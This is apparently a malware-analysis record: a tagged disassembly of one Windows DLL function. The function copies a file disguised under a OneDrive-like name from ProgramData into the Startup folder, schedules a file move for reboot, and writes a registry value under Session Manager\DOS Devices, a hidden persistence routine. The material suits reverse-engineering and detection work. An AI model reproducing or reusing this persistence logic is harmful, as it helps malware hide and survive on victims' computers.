Function at 0x10005cb0
Capabilities:
Copy file
Get common file path
Get startup folder
Move file
Set registry value
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5ec
mov eax, dword [0x1003702c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ax, word [0x100335dc]
mov word [ebp - 0x554], ax
mov cl, byte [0x100335de]
mov byte [ebp - 0x552], cl
mov edx, dword [str.One__Drive.vt]
mov dword [ebp - 0x14], edx
mov eax, dword [0x100335e4]
mov dword [ebp - 0x10], eax
mov ecx, dword [0x100335e8]
mov dword [ebp - 0xc], ecx
mov dx, word [0x100335ec]
mov word [ebp - 8], dx
mov ecx, 7
mov esi, str.C:ProgramDataOne__Drive.vt
lea edi, [ebp - 0x3c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x10033610
lea eax, [ebp - 0x3c]
push eax
call fcn.1001539b
add esp, 8
mov dword [ebp - 0x5bc], eax
mov ecx, dword [ebp - 0x5bc]
push ecx
call fcn.100154d7
add esp, 4
lea edx, [ebp - 0x550]
push edx
push 0
push 0
push 0x17
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x550]
mov dword [ebp - 0x5a8], eax
lea ecx, [ebp - 0x348]
mov dword [ebp - 0x580], ecx
mov edx, dword [ebp - 0x580]
mov dword [ebp - 0x5e4], edx
mov eax, dword [ebp - 0x5a8]
mov cl, byte [eax]
mov byte [ebp - 0x55d], cl
mov edx, dword [ebp - 0x580]
mov al, byte [ebp - 0x55d]
mov byte [edx], al
mov ecx, dword [ebp - 0x5a8]
add ecx, 1
mov dword [ebp - 0x5a8], ecx
mov edx, dword [ebp - 0x580]
add edx, 1
mov dword [ebp - 0x580], edx
cmp byte [ebp - 0x55d], 0
jne 0x10005d72
lea eax, [ebp - 0x348]
add eax, 0xffffffff
mov dword [ebp - 0x5a0], eax
mov ecx, dword [ebp - 0x5a0]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x560], dl
add dword [ebp - 0x5a0], 1
cmp byte [ebp - 0x560], 0
jne 0x10005dc4
mov edi, dword [ebp - 0x5a0]
mov ax, word [0x10033614]
mov word [edi], ax
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x570], ecx
mov edx, dword [ebp - 0x570]
mov dword [ebp - 0x5b0], edx
mov eax, dword [ebp - 0x570]
mov cl, byte [eax]
mov byte [ebp - 0x561], cl
add dword [ebp - 0x570], 1
cmp byte [ebp - 0x561], 0
jne 0x10005e07
mov edx, dword [ebp - 0x570]
sub edx, dword [ebp - 0x5b0]
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5c4], edx
lea ecx, [ebp - 0x348]
add ecx, 0xffffffff
mov dword [ebp - 0x59c], ecx
mov edx, dword [ebp - 0x59c]
mov al, byte [edx + 1]
mov byte [ebp - 0x562], al
add dword [ebp - 0x59c], 1
cmp byte [ebp - 0x562], 0
jne 0x10005e52
mov edi, dword [ebp - 0x59c]
mov esi, dword [ebp - 0x5c0]
mov edx, dword [ebp - 0x5c4]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea eax, [ebp - 0x348]
push eax
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x3c]
push edx
call fcn.1001568d
add esp, 4
lea eax, [ebp - 0x554]
mov dword [ebp - 0x5ac], eax
lea ecx, [ebp - 0x244]
mov dword [ebp - 0x598], ecx
mov edx, dword [ebp - 0x598]
mov dword [ebp - 0x5e8], edx
mov eax, dword [ebp - 0x5ac]
mov cl, byte [eax]
mov byte [ebp - 0x55e], cl
mov edx, dword [ebp - 0x598]
mov al, byte [ebp - 0x55e]
mov byte [edx], al
mov ecx, dword [ebp - 0x5ac]
add ecx, 1
mov dword [ebp - 0x5ac], ecx
mov edx, dword [ebp - 0x598]
add edx, 1
mov dword [ebp - 0x598], edx
cmp byte [ebp - 0x55e], 0
jne 0x10005ed4
lea eax, [ebp - 0x244]
add eax, 0xffffffff
mov dword [ebp - 0x594], eax
mov ecx, dword [ebp - 0x594]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x563], dl
add dword [ebp - 0x594], 1
cmp byte [ebp - 0x563], 0
jne 0x10005f26
mov edi, dword [ebp - 0x594]
mov eax, dword [str.Startup_]
mov dword [edi], eax
mov ecx, dword [0x1003361c]
mov dword [edi + 4], ecx
mov dx, word [0x10033620]
mov word [edi + 8], dx
lea eax, [ebp - 0x14]
mov dword [ebp - 0x574], eax
mov ecx, dword [ebp - 0x574]
mov dword [ebp - 0x5b4], ecx
mov edx, dword [ebp - 0x574]
mov al, byte [edx]
mov byte [ebp - 0x569], al
add dword [ebp - 0x574], 1
cmp byte [ebp - 0x569], 0
jne 0x10005f7b
mov ecx, dword [ebp - 0x574]
sub ecx, dword [ebp - 0x5b4]
mov edx, dword [ebp - 0x5b4]
mov dword [ebp - 0x5c8], edx
mov dword [ebp - 0x5cc], ecx
lea eax, [ebp - 0x244]
add eax, 0xffffffff
mov dword [ebp - 0x590], eax
mov ecx, dword [ebp - 0x590]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x564], dl
add dword [ebp - 0x590], 1
cmp byte [ebp - 0x564], 0
jne 0x10005fc6
mov edi, dword [ebp - 0x590]
mov esi, dword [ebp - 0x5c8]
mov eax, dword [ebp - 0x5cc]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x554]
mov dword [ebp - 0x5a4], ecx
lea edx, [ebp - 0x140]
mov dword [ebp - 0x58c], edx
mov eax, dword [ebp - 0x58c]
mov dword [ebp - 0x5ec], eax
mov ecx, dword [ebp - 0x5a4]
mov dl, byte [ecx]
mov byte [ebp - 0x55f], dl
mov eax, dword [ebp - 0x58c]
mov cl, byte [ebp - 0x55f]
mov byte [eax], cl
mov edx, dword [ebp - 0x5a4]
add edx, 1
mov dword [ebp - 0x5a4], edx
mov eax, dword [ebp - 0x58c]
add eax, 1
mov dword [ebp - 0x58c], eax
cmp byte [ebp - 0x55f], 0
jne 0x10006029
lea ecx, [ebp - 0x140]
add ecx, 0xffffffff
mov dword [ebp - 0x588], ecx
mov edx, dword [ebp - 0x588]
mov al, byte [edx + 1]
mov byte [ebp - 0x565], al
add dword [ebp - 0x588], 1
cmp byte [ebp - 0x565], 0
jne 0x1000607b
mov edi, dword [ebp - 0x588]
mov cx, word [0x10033624]
mov word [edi], cx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x578], edx
mov eax, dword [ebp - 0x578]
mov dword [ebp - 0x5b8], eax
mov ecx, dword [ebp - 0x578]
mov dl, byte [ecx]
mov byte [ebp - 0x566], dl
add dword [ebp - 0x578], 1
cmp byte [ebp - 0x566], 0
jne 0x100060bf
mov eax, dword [ebp - 0x578]
sub eax, dword [ebp - 0x5b8]
mov ecx, dword [ebp - 0x5b8]
mov dword [ebp - 0x5d0], ecx
mov dword [ebp - 0x5d4], eax
lea edx, [ebp - 0x140]
add edx, 0xffffffff
mov dword [ebp - 0x584], edx
mov eax, dword [ebp - 0x584]
mov cl, byte [eax + 1]
mov byte [ebp - 0x567], cl
add dword [ebp - 0x584], 1
cmp byte [ebp - 0x567], 0
jne 0x1000610a
mov edi, dword [ebp - 0x584]
mov esi, dword [ebp - 0x5d0]
mov edx, dword [ebp - 0x5d4]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 5
lea eax, [ebp - 0x244]
push eax
lea ecx, [ebp - 0x140]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x1000616b
or eax, 0xffffffff
jmp 0x10006269
lea edx, [ebp - 0x55c]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x5dc], eax
lea eax, [ebp - 0x550]
push eax
push 0x10033668
lea ecx, [ebp - 0x44c]
push ecx
call fcn.10001260
add esp, 0xc
lea edx, [ebp - 0x44c]
mov dword [ebp - 0x57c], edx
mov eax, dword [ebp - 0x57c]
add eax, 1
mov dword [ebp - 0x5e0], eax
mov ecx, dword [ebp - 0x57c]
mov dl, byte [ecx]
mov byte [ebp - 0x568], dl
add dword [ebp - 0x57c], 1
cmp byte [ebp - 0x568], 0
jne 0x100061c5
mov eax, dword [ebp - 0x57c]
sub eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x5d8], eax
mov ecx, dword [ebp - 0x5d8]
add ecx, 1
push ecx
lea edx, [ebp - 0x44c]
push edx
push 1
push 0
lea eax, [ebp - 0x554]
push eax
mov ecx, dword [ebp - 0x55c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x5dc], eax
mov edx, dword [ebp - 0x55c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x10033670]
mov dword [ebp - 0x558], eax
mov ecx, dword [str.NNLPS]
mov dword [ebp - 0x1c], ecx
mov dx, word [0x10033678]
mov word [ebp - 0x18], dx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x558]
push edx
call fcn.10005810
add esp, 0xc
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000cdca
mov esp, ebp
pop ebp
ret